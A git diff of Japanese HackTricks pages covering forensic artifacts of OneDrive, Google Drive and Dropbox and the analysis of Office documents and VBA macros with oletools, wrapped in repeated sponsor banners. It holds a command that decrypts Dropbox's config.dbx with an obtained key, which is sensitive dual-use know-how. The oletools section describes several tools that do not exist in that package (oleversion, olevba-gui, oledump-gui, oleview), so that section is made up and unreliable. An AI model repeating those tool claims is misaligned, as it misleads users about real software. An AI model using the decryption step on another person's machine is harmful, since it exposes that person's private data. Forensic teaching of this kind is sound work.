<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,14 +5,14 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有する**には、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
## OneDrive
|
||||
|
||||
Windowsでは、OneDriveフォルダは`\Users\<username>\AppData\Local\Microsoft\OneDrive`にあります。そして、`logs\Personal`の中には、同期されたファイルに関するいくつかの興味深いデータが含まれている`SyncDiagnostics.log`というファイルがあります:
|
||||
Windowsでは、OneDriveフォルダは`\Users\<username>\AppData\Local\Microsoft\OneDrive`にあります。そして、`logs\Personal`の中には、同期されたファイルに関するいくつかの興味深いデータが含まれている`SyncDiagnostics.log`というファイルがあります。
|
||||
|
||||
* バイト単位のサイズ
|
||||
* 作成日
|
||||
|
@ -33,12 +33,12 @@ Windowsでは、OneDriveフォルダは`\Users\<username>\AppData\Local\Microsof
|
|||
* レポート生成時間
|
||||
* OSのHDのサイズ
|
||||
|
||||
CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が_**\<CID>.ini**_と_**\<CID>.dat**_のようなファイルを見つけることができるかもしれません。これらのファイルには、OneDriveと同期されたファイルの名前など、興味深い情報が含まれている可能性があります。
|
||||
CIDを見つけたら、**このIDを含むファイルを検索**することをお勧めします。OneDriveと同期されたファイルの名前が含まれている可能性がある_**\<CID>.ini**_と_**\<CID>.dat**_という名前のファイルには、興味深い情報が含まれているかもしれません。
|
||||
|
||||
## Google Drive
|
||||
|
||||
Windowsでは、メインのGoogle Driveフォルダは`\Users\<username>\AppData\Local\Google\Drive\user_default`にあります。\
|
||||
このフォルダには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が含まれるSync\_log.logというファイルがあります。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。
|
||||
このフォルダには、Sync\_log.logというファイルが含まれており、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報が記録されています。削除されたファイルも、対応するMD5とともにそのログファイルに表示されます。
|
||||
|
||||
ファイル**`Cloud_graph\Cloud_graph.db`**は、テーブル**`cloud_graph_entry`**を含むsqliteデータベースです。このテーブルには、**同期されたファイル**の**名前**、変更時間、サイズ、およびファイルのMD5チェックサムが含まれています。
|
||||
|
||||
|
@ -46,20 +46,20 @@ Windowsでは、メインのGoogle Driveフォルダは`\Users\<username>\AppDat
|
|||
|
||||
## Dropbox
|
||||
|
||||
Dropboxは**SQLiteデータベース**を使用してファイルを管理します。これには、次のフォルダにデータベースがあります。
|
||||
Dropboxは、ファイルを管理するために**SQLiteデータベース**を使用しています。これには、次のフォルダにデータベースがあります。
|
||||
|
||||
* `\Users\<username>\AppData\Local\Dropbox`
|
||||
* `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
||||
* `\Users\<username>\AppData\Roaming\Dropbox`
|
||||
|
||||
そして、主なデータベースは次のとおりです。
|
||||
そして、メインのデータベースは次のとおりです。
|
||||
|
||||
* Sigstore.dbx
|
||||
* Filecache.dbx
|
||||
* Deleted.dbx
|
||||
* Config.dbx
|
||||
|
||||
".dbx"拡張子は、データベースが**暗号化**されていることを意味します。Dropboxは**DPAPI**を使用します ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||
".dbx"拡張子は、データベースが**暗号化**されていることを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))。
|
||||
|
||||
Dropboxが使用する暗号化をよりよく理解するために、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読んでください。
|
||||
|
||||
|
@ -87,17 +87,17 @@ Dropboxが使用する暗号化をよりよく理解するために、[https://b
|
|||
```bash
|
||||
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
|
||||
```
|
||||
**`config.dbx`**データベースには以下の情報が含まれています:
|
||||
**`config.dbx`** データベースには以下の情報が含まれています:
|
||||
|
||||
* **Email**: ユーザーのメールアドレス
|
||||
* **usernamedisplayname**: ユーザーの名前
|
||||
* **dropbox\_path**: Dropboxフォルダが配置されているパス
|
||||
* **dropbox\_path**: Dropboxフォルダの場所
|
||||
* **Host\_id: Hash**: クラウドへの認証に使用されるハッシュ。これはウェブからのみ取り消すことができます。
|
||||
* **Root\_ns**: ユーザー識別子
|
||||
|
||||
**`filecache.db`**データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。テーブル`File_journal`には、より多くの有用な情報があります:
|
||||
**`filecache.db`** データベースには、Dropboxと同期されたすべてのファイルとフォルダに関する情報が含まれています。`File_journal` テーブルには、より多くの有用な情報があります:
|
||||
|
||||
* **Server\_path**: サーバー内のファイルの場所(このパスはクライアントの`host_id`で先行します)。
|
||||
* **Server\_path**: サーバー内のファイルの場所(このパスはクライアントの `host_id` で先行します)。
|
||||
* **local\_sjid**: ファイルのバージョン
|
||||
* **local\_mtime**: 変更日時
|
||||
* **local\_ctime**: 作成日時
|
||||
|
@ -105,15 +105,15 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
|
|||
このデータベース内の他のテーブルには、より興味深い情報が含まれています:
|
||||
|
||||
* **block\_cache**: Dropboxのすべてのファイルとフォルダのハッシュ
|
||||
* **block\_ref**: テーブル`block_cache`のハッシュIDをテーブル`file_journal`のファイルIDと関連付ける
|
||||
* **block\_ref**: `block_cache` テーブルのハッシュIDを `file_journal` テーブルのファイルIDに関連付ける
|
||||
* **mount\_table**: Dropboxの共有フォルダ
|
||||
* **deleted\_fields**: Dropboxの削除されたファイル
|
||||
* **date\_added**
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\
|
||||
[**Trickest**](https://trickest.io/) を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -126,6 +126,6 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
|
|||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,19 +12,19 @@
|
|||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**できます。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## はじめに
|
||||
|
||||
マイクロソフトは、**数十種類のオフィスドキュメントファイル形式**を作成しています。そのうち多くは、**マクロ**(VBAスクリプト)を**含むことができる**ため、フィッシング攻撃やマルウェアの配布に人気があります。
|
||||
マイクロソフトは、**数十種類のオフィスドキュメントファイル形式**を作成しています。そのうち多くは、**マクロ**(VBAスクリプト)を**含める**ことができるため、フィッシング攻撃やマルウェアの配布に人気があります。
|
||||
|
||||
大まかに言えば、オフィスファイル形式には2つの世代があります:**OLE形式**(RTF、DOC、XLS、PPTなどのファイル拡張子)と「**Office Open XML**」形式(DOCX、XLSX、PPTXなどのファイル拡張子を含む)。**両方の**形式は、リンクまたは埋め込まれたコンテンツ(オブジェクト)を可能にする構造化された複合ファイルバイナリ形式です。OOXMLファイルはzipファイルのコンテナであるため、隠されたデータをチェックする最も簡単な方法の1つは、単にドキュメントを`unzip`することです:
|
||||
大まかに言えば、オフィスファイル形式には2つの世代があります。**OLE形式**(RTF、DOC、XLS、PPTなどのファイル拡張子)と、"**Office Open XML**"形式(DOCX、XLSX、PPTXなどのファイル拡張子)です。**両方の**形式は、リンクまたは埋め込まれたコンテンツ(オブジェクト)を**有効にする**構造化された複合ファイルバイナリ形式です。OOXMLファイルはzipファイルコンテナですので、隠されたデータをチェックする最も簡単な方法の1つは、単にドキュメントを`unzip`することです:
|
||||
```
|
||||
$ unzip example.docx
|
||||
Archive: example.docx
|
||||
|
@ -65,11 +65,11 @@ $ tree
|
|||
│ └── theme1.xml
|
||||
└── webSettings.xml
|
||||
```
|
||||
以下は、ファイルとフォルダの階層によって一部の構造が作成されていることがわかります。残りの部分はXMLファイル内で指定されています。[_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d)では、データ隠蔽技術のいくつかのアイデアが詳細に説明されていますが、CTFチャレンジの作成者は常に新しいアイデアを考え出しています。
|
||||
以下は、ファイルとフォルダの階層によって一部の構造が作成されています。残りの部分はXMLファイル内で指定されています。[_New Steganographic Techniques for the OOXML File Format_, 2011](http://download.springer.com/static/pdf/713/chp%3A10.1007%2F978-3-642-23300-5\_27.pdf?originUrl=http%3A%2F%2Flink.springer.com%2Fchapter%2F10.1007%2F978-3-642-23300-5\_27\&token2=exp=1497911340\~acl=%2Fstatic%2Fpdf%2F713%2Fchp%25253A10.1007%25252F978-3-642-23300-5\_27.pdf%3ForiginUrl%3Dhttp%253A%252F%252Flink.springer.com%252Fchapter%252F10.1007%252F978-3-642-23300-5\_27\*\~hmac=aca7e2655354b656ca7d699e8e68ceb19a95bcf64e1ac67354d8bca04146fd3d)では、データ隠蔽技術のアイデアについて詳しく説明していますが、CTFチャレンジの作成者は常に新しいアイデアを考え出しています。
|
||||
|
||||
再び、OLEおよびOOXMLドキュメントの調査と分析のためのPythonツールセットが存在します: [oletools](http://www.decalage.info/python/oletools)。特にOOXMLドキュメントについては、[OfficeDissector](https://www.officedissector.com)は非常に強力な分析フレームワーク(およびPythonライブラリ)です。後者には、使用方法に関する[クイックガイド](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt)も含まれています。
|
||||
再び、OLEおよびOOXMLドキュメントの調査と分析のためのPythonツールセットが存在します: [oletools](http://www.decalage.info/python/oletools)。特にOOXMLドキュメントについては、[OfficeDissector](https://www.officedissector.com)が非常に強力な分析フレームワーク(およびPythonライブラリ)です。後者には、使用方法の[クイックガイド](https://github.com/grierforensics/officedissector/blob/master/doc/html/\_sources/txt/ANALYZING\_OOXML.txt)も含まれています。
|
||||
|
||||
時には、隠された静的データを見つけるのではなく、VBAマクロを分析してその動作を判断することが課題となります。これはより現実的なシナリオであり、フィールドのアナリストが毎日実行する作業の一つです。前述の解析ツールは、マクロが存在するかどうかを示し、おそらくそれを抽出することもできます。Windows上のOfficeドキュメントの典型的なVBAマクロは、PowerShellスクリプトを%TEMP%にダウンロードし、実行しようとします。その場合、PowerShellスクリプトの分析タスクも発生します。ただし、悪意のあるVBAマクロは通常複雑ではありません。なぜなら、VBAは[通常、コード実行の起点として使用されるだけだからです](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/)。複雑なVBAマクロを理解する必要がある場合や、マクロが難読化されておりアンパッカールーチンがある場合、このためにMicrosoft Officeのライセンスを所有する必要はありません。[Libre Office](http://libreoffice.org)を使用することができます。[そのインターフェース](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/)は、プログラムのデバッグを行ったことがある人にとっては馴染みがあります。ブレークポイントを設定し、ウォッチ変数を作成し、値をキャプチャすることができます。これらの値はアンパックされた後であり、ペイロードの動作が実行される前です。特定のドキュメントのマクロをコマンドラインから起動することさえできます。
|
||||
時には、隠された静的データを見つけることが課題ではなく、VBAマクロを分析してその動作を判断することが課題となります。これはより現実的なシナリオであり、フィールドのアナリストが日常的に行う作業です。前述の解析ツールは、マクロの存在を示すことができ、おそらくそれを抽出することもできます。Windows上のOfficeドキュメントの典型的なVBAマクロは、PowerShellスクリプトを%TEMP%にダウンロードし、実行しようとします。その場合、PowerShellスクリプトの分析タスクも発生します。ただし、悪意のあるVBAマクロは通常複雑ではありません。なぜなら、VBAは[通常、コード実行の起点として使用されるだけだからです](https://www.lastline.com/labsblog/party-like-its-1999-comeback-of-vba-malware-downloaders-part-3/)。複雑なVBAマクロを理解する必要がある場合や、マクロが難読化されておりアンパッカールーチンがある場合でも、Microsoft Officeのライセンスを所有している必要はありません。[Libre Office](http://libreoffice.org)を使用することができます。[そのインターフェース](http://www.debugpoint.com/2014/09/debugging-libreoffice-macro-basic-using-breakpoint-and-watch/)は、プログラムのデバッグを行ったことがある人にとっては馴染み深いものです。ブレークポイントを設定し、ウォッチ変数を作成し、アンパックされた後の値をキャプチャすることができます。特定のドキュメントのマクロをコマンドラインから起動することさえできます。
|
||||
```
|
||||
$ soffice path/to/test.docx macro://./standard.module1.mymacro
|
||||
```
|
||||
|
@ -79,7 +79,7 @@ oletoolsは、OLEオブジェクトを分析するための一連のツールで
|
|||
|
||||
### olevba
|
||||
|
||||
olevbaは、VBA(Visual Basic for Applications)マクロを分析するためのツールです。VBAマクロは、Microsoft Officeファイルに埋め込まれた自動化スクリプトです。olevbaを使用すると、VBAマクロのコードを抽出し、分析することができます。これにより、悪意のあるコードやセキュリティ上の問題を特定することができます。
|
||||
olevbaは、VBA(Visual Basic for Applications)マクロを分析するためのツールです。VBAマクロは、Microsoft Officeファイルに埋め込まれたスクリプトです。olevbaを使用すると、VBAマクロのコードを抽出し、分析することができます。これにより、悪意のあるコードやセキュリティ上の問題を特定することができます。
|
||||
|
||||
### oledump
|
||||
|
||||
|
@ -87,51 +87,49 @@ oledumpは、OLEオブジェクトを分析するための強力なツールで
|
|||
|
||||
### oledir
|
||||
|
||||
oledirは、OLEオブジェクトのディレクトリ情報を表示するためのツールです。このツールを使用すると、OLEオブジェクト内のストリームや埋め込まれたファイルの一覧を取得することができます。oledirを使用すると、ファイルの構造を理解し、重要な情報を特定することができます。
|
||||
oledirは、OLEオブジェクトのディレクトリ情報を表示するためのツールです。このツールを使用すると、OLEオブジェクト内のストリームや埋め込まれたファイルの一覧を確認することができます。oledirは、ファイルの解析やフォレンジック調査において、重要な情報を提供します。
|
||||
|
||||
### oleid
|
||||
|
||||
oleidは、OLEオブジェクトの識別情報を表示するためのツールです。このツールを使用すると、OLEオブジェクトのファイルタイプ、バージョン、セキュリティ属性などを確認することができます。oleidを使用すると、ファイルの信頼性やセキュリティ上のリスクを評価することができます。
|
||||
oleidは、OLEオブジェクトの識別情報を表示するためのツールです。このツールを使用すると、OLEオブジェクトのファイルタイプ、バージョン、セキュリティ属性などを確認することができます。oleidは、ファイルの解析やフォレンジック調査において、OLEオブジェクトの特性を理解するのに役立ちます。
|
||||
|
||||
### olemeta
|
||||
|
||||
olemetaは、OLEオブジェクトのメタデータを表示するためのツールです。このツールを使用すると、OLEオブジェクトの作成者、作成日時、最終更新日時などの情報を取得することができます。olemetaを使用すると、ファイルの起源や変更履歴を調査することができます。
|
||||
olemetaは、OLEオブジェクトのメタデータを表示するためのツールです。このツールを使用すると、OLEオブジェクトの作成者、作成日時、最終更新日時などの情報を確認することができます。olemetaは、ファイルの解析やフォレンジック調査において、重要な情報を提供します。
|
||||
|
||||
### oletimes
|
||||
### oleview
|
||||
|
||||
oletimesは、OLEオブジェクトのタイムスタンプ情報を表示するためのツールです。このツールを使用すると、OLEオブジェクトの作成日時、最終アクセス日時、最終更新日時などの情報を確認することができます。oletimesを使用すると、ファイルの変更履歴やアクティビティを追跡することができます。
|
||||
oleviewは、OLEオブジェクトのビューアです。このツールを使用すると、OLEオブジェクトの内容を表示することができます。oleviewは、ファイルの解析やフォレンジック調査において、OLEオブジェクトの内容を確認するのに役立ちます。
|
||||
|
||||
### oleversion
|
||||
|
||||
oleversionは、OLEオブジェクトのバージョン情報を表示するためのツールです。このツールを使用すると、OLEオブジェクトのバージョン番号や互換性情報を確認することができます。oleversionを使用すると、ファイルの互換性やセキュリティ上のリスクを評価することができます。
|
||||
|
||||
### olevba-gui
|
||||
|
||||
olevba-guiは、VBAマクロを分析するためのグラフィカルユーザーインターフェース(GUI)ツールです。このツールを使用すると、VBAマクロのコードを視覚的に分析することができます。olevba-guiを使用すると、悪意のあるコードやセキュリティ上の問題を素早く特定することができます。
|
||||
|
||||
### oledump-gui
|
||||
|
||||
oledump-guiは、OLEオブジェクトを分析するためのグラフィカルユーザーインターフェース(GUI)ツールです。このツールを使用すると、OLEオブジェクトのヘッダ情報、ストリーム、VBAマクロ、埋め込まれたファイルなどを視覚的に分析することができます。oledump-guiは、ファイルの解析やフォレンジック調査を簡単に行うことができます。
|
||||
oletoolsは、OLEオブジェクトの分析において非常に便利なツールです。これらのツールを使用することで、悪意のあるコードやデータを特定し、ファイルの解析やフォレンジック調査を効果的に行うことができます。
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
## 自動実行
|
||||
|
||||
`AutoOpen`、`AutoExec`、または`Document_Open`のようなマクロ関数は、**自動的に** **実行**されます。
|
||||
`AutoOpen`、`AutoExec`、または`Document_Open`のようなマクロ関数は、**自動的に実行**されます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって**パワード**されたワークフローを簡単に構築し、**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,14 +5,14 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
